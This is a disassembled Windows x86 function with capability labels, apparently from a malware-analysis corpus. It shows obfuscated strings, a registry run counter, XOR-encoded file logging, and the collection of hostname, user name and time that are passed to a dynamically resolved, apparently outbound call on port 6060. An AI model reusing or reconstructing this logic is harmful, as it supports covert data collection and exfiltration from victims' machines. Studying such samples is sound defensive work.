Function at 0x544b70
Capabilities:
Clear file content
Encode data using xor
Get hostname
Get session user name
Query or enumerate registry value
Set registry value
Write file on windows

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
push 0x5d5324
mov dword [esp + 0x2c], ecx
lea esi, [ecx + 0x20]
call fcn.00548a30
push eax
push esi
call fcn.00543c00
add esp, 0xc
lea eax, [esp + 0x24]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x5d52ec
xor bl, bl
call fcn.00548a30
add esp, 4
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x544d0c
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
cmp eax, 2
jne 0x544c7e
lea edx, [esp + 0x14]
lea eax, [esp + 0x40]
push edx
push eax
push 0
push 0
push 0x5d52d8
mov dword [esp + 0x28], 0x40
call fcn.00548a30
mov ecx, dword [esp + 0x2c]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 4
push eax
push ecx
call ebp
push str.Fri_Feb_17_11:24:36_2006
lea edx, [esp + 0x84]
push 0x5d52d4
push edx
call edi
mov eax, dword [esp + 0x20]
add esp, 0xc
test eax, eax
je 0x544c53
lea eax, [esp + 0x80]
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x544c53
mov bl, 1
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push 0x5d52c4
mov dword [esp + 0x28], 4
call fcn.00548a30
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call ebp
push str.Fri_Feb_17_11:24:36_2006
lea edx, [esp + 0x44]
push 0x5d52d4
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
lea ecx, [esp + 0x40]
push eax
push ecx
push 1
push 0
push 0x5d52b0
mov dword [esp + 0x28], eax
call fcn.00548a30
mov edx, dword [esp + 0x2c]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add esp, 4
push eax
push edx
call edi
test bl, bl
mov dword [esp + 0x14], 4
je 0x544cd9
inc dword [esp + 0x10]
jmp 0x544ce1
mov dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push 0x5d52c4
call fcn.00548a30
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call edi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x545154
cmp eax, 5
ja 0x545154
test bl, bl
je 0x544d33
cmp dword [0x878a44], 9
jge 0x545154
push 0x5d52a0
call fcn.00548a30
push eax
push esi
call fcn.00543c00
mov eax, dword [esi]
add esp, 0xc
cmp eax, 0xffffffff
je 0x544e83
lea edi, [esi + 0x101c]
push edi
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [esi + 0x1034]
test eax, eax
je 0x544d78
mov ecx, dword [esi + 0x1038]
cmp ecx, eax
mov eax, 0x5d461c
ja 0x544d7d
mov eax, 0x878ab4
push eax
xor eax, eax
mov ax, word [esi + 0x102a]
xor ecx, ecx
mov cx, word [esi + 0x1028]
push eax
xor edx, edx
xor eax, eax
mov dx, word [esi + 0x1026]
mov ax, word [esi + 0x1024]
push ecx
push edx
xor ecx, ecx
push eax
mov cx, word [esi + 0x1022]
xor edx, edx
mov dx, word [esi + 0x101e]
xor eax, eax
mov ax, word [edi]
push ecx
push edx
push eax
push 0x5d45c4
lea ebp, [esi + 0x1c]
call fcn.005489c0
add esp, 4
push eax
push ebp
call fcn.00548ff0
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
mov eax, dword [esi + 0x1030]
not ecx
dec ecx
test eax, eax
je 0x544e1f
test ecx, ecx
jle 0x544e4d
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x1030]
add edx, 2
mov dword [esi + 0x1030], edx
mov bl, byte [eax]
add dl, 0x43
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [edi + eax]
cmp edx, ecx
jl 0x544dfd
jmp 0x544e4d
test ecx, ecx
jle 0x544e4d
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x102c]
lea edx, [edx + edx*2 + 1]
mov dword [esi + 0x102c], edx
mov bl, byte [eax]
add dl, 0x76
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [eax + edi]
cmp edx, ecx
jl 0x544e2c
cmp dword [esi + 0x1034], 0x3e7
je 0x544e6b
lea eax, [esp + 0x20]
push 0
push eax
push ecx
mov ecx, dword [esi]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0xffffffff
mov ecx, 0x878830
call fcn.00547190
test eax, eax
jne 0x544eb1
push 0x5d5290
call fcn.00548a30
add esp, 4
mov ecx, 0x878830
push eax
call fcn.00546f80
test eax, eax
je 0x545154
push 0x5d527c
call fcn.00548a30
add esp, 4
mov ecx, 0x878830
push eax
call fcn.00547190
push eax
call fcn.00545ec0
push 0x5d5264
mov esi, eax
call fcn.00548a30
add esp, 4
mov ecx, 0x878830
push eax
call fcn.00547190
push eax
call fcn.00545ec0
push 0x5d524c
mov edi, eax
call fcn.00548a30
add esp, 4
mov ecx, 0x878830
push eax
call fcn.00547190
push eax
call fcn.00545ec0
push 0x5d523c
mov ebp, eax
call fcn.00548a30
add esp, 4
mov ecx, 0x878830
push eax
call fcn.00547190
push eax
call fcn.00545ec0
test esi, esi
mov dword [esp + 0x20], eax
je 0x545154
test edi, edi
je 0x545154
test ebp, ebp
je 0x545154
test eax, eax
je 0x545154
push 0
push 0
push 0
push 0
push 0x5d5230
call fcn.005489c0
add esp, 4
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x545154
push 0
push 0x8000000
push 1
push 0x5d51fc
call fcn.00548a30
add esp, 4
push eax
push 0x5d51f0
call fcn.005489c0
add esp, 4
push eax
push 0x17ac
push 0x5d51dc
call fcn.005489c0
add esp, 4
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x544fc4
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x140]
mov edi, 0x80
push ecx
push edx
mov byte [esp + 0x148], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc0]
push eax
push ecx
mov byte [esp + 0xc8], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [0x878a44]
cmp eax, 1
jne 0x545023
push 0x5d51d0
jmp 0x545088
cmp eax, 2
jne 0x54502f
push 0x5d51c4
jmp 0x545088
cmp eax, 3
jne 0x54503b
push 0x5d51bc
jmp 0x545088
cmp eax, 4
jne 0x545047
push 0x5d51b0
jmp 0x545088
cmp eax, 5
jne 0x545053
push 0x5d51a4
jmp 0x545088
cmp eax, 6
jne 0x54505f
push 0x5d5194
jmp 0x545088
cmp eax, 7
jne 0x54506b
push 0x5d5188
jmp 0x545088
cmp eax, 8
jne 0x545077
push 0x5d517c
jmp 0x545088
cmp eax, 9
jne 0x545083
push 0x5d5170
jmp 0x545088
push 0x5d5168
call fcn.005489c0
mov ecx, dword [esp + 0x3e]
mov edx, dword [esp + 0x3c]
add esp, 4
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x3a]
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x3e]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3e]
push ecx
mov ecx, dword [esp + 0x40]
and edx, 0xffff
and ecx, 0xffff
push edx
push ecx
mov ecx, dword [esp + 0x44]
lea edx, [ecx + 0x1228]
add ecx, 0x1200
push edx
lea edx, [esp + 0xe0]
push edx
lea edx, [esp + 0x164]
push edx
mov edx, dword [0x878a7c]
mov edx, dword [edx + 0x10]
push edx
push eax
push 0x2f
push ecx
push 0x5d510c
call fcn.00548a30
add esp, 4
push eax
lea eax, [esp + 0x1fc]
push 0x104
push eax
call fcn.0054b229
add esp, 0x44
lea ecx, [esp + 0x1c0]
push 0
push 0x4000002
push ecx
push 0x878724
push esi
call dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret